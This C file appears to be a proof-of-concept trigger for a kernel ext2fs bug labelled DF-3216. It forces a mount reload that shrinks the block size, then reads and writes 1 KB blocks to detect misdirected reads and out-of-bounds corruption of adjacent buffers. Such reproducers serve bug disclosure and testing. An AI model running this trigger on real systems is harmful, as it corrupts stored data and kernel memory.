DF-3216 / trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 | /* * trigger.c - DF-3216 PoC driver (guest). * * Subcommands: * trigger reload <mnt> mount(2) MNT_UPDATE|MNT_RELOAD + statfs(2) * (statfs refreshes mp->mnt_stat.f_iosize to the * NEW 1024 block size -> readindir buffers shrink) * trigger read <file> <lbn> <n> * pread n 1KB blocks starting at lbn, report the * 'BLK%08d' marker claimed by each returned block * and I/O errors (misdirection = wrong marker) * trigger write <file> create <file>, pwrite 0xAA at every 1KB block * lbn 268..1023, fsync, read back and report any * block whose content is not 0xAA (adjacent-buffer * corruption caused by bap[in_off] OOB writes) */ #include <sys/param.h> #include <sys/mount.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> struct ext2_args_min { char *fspec; char exportpad[128]; }; static int do_reload(const char *mnt) { struct ext2_args_min args; struct statfs st; int rv; memset(&args, 0, sizeof(args)); rv = mount("ext2fs", mnt, MNT_UPDATE | MNT_RELOAD, &args); printf("mount(MNT_UPDATE|MNT_RELOAD) rc=%d errno=%d (%s)\n", rv, errno, strerror(errno)); if (rv != 0) return (1); /* refresh mp->mnt_stat.f_iosize to the new 1024 bsize */ rv = statfs(mnt, &st); printf("statfs rc=%d f_iosize=%ld f_bsize=%ld\n", rv, (long)st.f_iosize, (long)st.f_bsize); return (0); } static int do_read(const char *file, int lbn0, int n) { char buf[1024]; int fd, i, bad = 0; fd = open(file, O_RDONLY); if (fd < 0) { perror("open"); return (1); } for (i = 0; i < n; i++) { ssize_t r = pread(fd, buf, sizeof(buf), (off_t)(lbn0 + i) * 1024); if (r < 0) { printf("lbn %5d: pread: %s\n", lbn0 + i, strerror(errno)); bad++; continue; } if (r != 1024) { printf("lbn %5d: short read %zd\n", lbn0 + i, r); bad++; continue; } printf("lbn %5d: marker=%.11s%s\n", lbn0 + i, buf, strncmp(buf, "BLK", 3) == 0 ? "" : " <== NOT-A-MARKER"); if (strncmp(buf, "BLK", 3) != 0) bad++; else { int claimed = atoi(buf + 3); if (claimed != lbn0 + i) { printf(" claimed lbn %d != requested %d <== MISDIRECTED\n", claimed, lbn0 + i); bad++; } } } close(fd); printf("READ-DEMO: %d/%d blocks bad\n", bad, n); return (bad != 0); } static int do_write(const char *file) { char buf[1024], pat[1024]; int fd, lbn, i, bad = 0, errs = 0; memset(pat, 0xaa, sizeof(pat)); fd = open(file, O_CREAT | O_RDWR | O_TRUNC, 0644); if (fd < 0) { perror("open"); return (1); } for (lbn = 268; lbn <= 1023; lbn++) { ssize_t w = pwrite(fd, pat, sizeof(pat), (off_t)lbn * 1024); if (w != sizeof(pat)) { if (errs++ < 4) printf("lbn %5d: pwrite: %s\n", lbn, w < 0 ? strerror(errno) : "short"); } } printf("pwrite pass done (write errors: %d)\n", errs); fsync(fd); for (lbn = 268; lbn <= 1023; lbn++) { ssize_t r = pread(fd, buf, sizeof(buf), (off_t)lbn * 1024); if (r != sizeof(pat)) { if (errs++ < 8) printf("lbn %5d: readback %zd (%s)\n", lbn, r, r < 0 ? strerror(errno) : "short"); bad++; continue; } if (memcmp(buf, pat, sizeof(pat)) != 0) { int off = -1; for (i = 0; i < 1024; i++) if (buf[i] != 0xaa) { off = i; break; } printf("lbn %5d: READBACK-CORRUPT first-diff @+%d: " "%02x %02x %02x %02x %02x %02x %02x %02x\n", lbn, off, buf[off+0], buf[off+1], buf[off+2], buf[off+3], buf[off+4], buf[off+5], buf[off+6], buf[off+7]); bad++; } } close(fd); printf("WRITE-DEMO: %d/%d blocks corrupted on readback\n", bad, 1023 - 268 + 1); return (bad != 0); } int main(int argc, char **argv) { if (argc < 3) { fprintf(stderr, "usage: %s reload <mnt> | read <file> <lbn> <n> | write <file>\n", argv[0]); return (2); } if (strcmp(argv[1], "reload") == 0) return (do_reload(argv[2])); if (strcmp(argv[1], "read") == 0) return (do_read(argv[2], atoi(argv[3]), atoi(argv[4]))); if (strcmp(argv[1], "write") == 0) return (do_write(argv[2])); fprintf(stderr, "bad op\n"); return (2); } |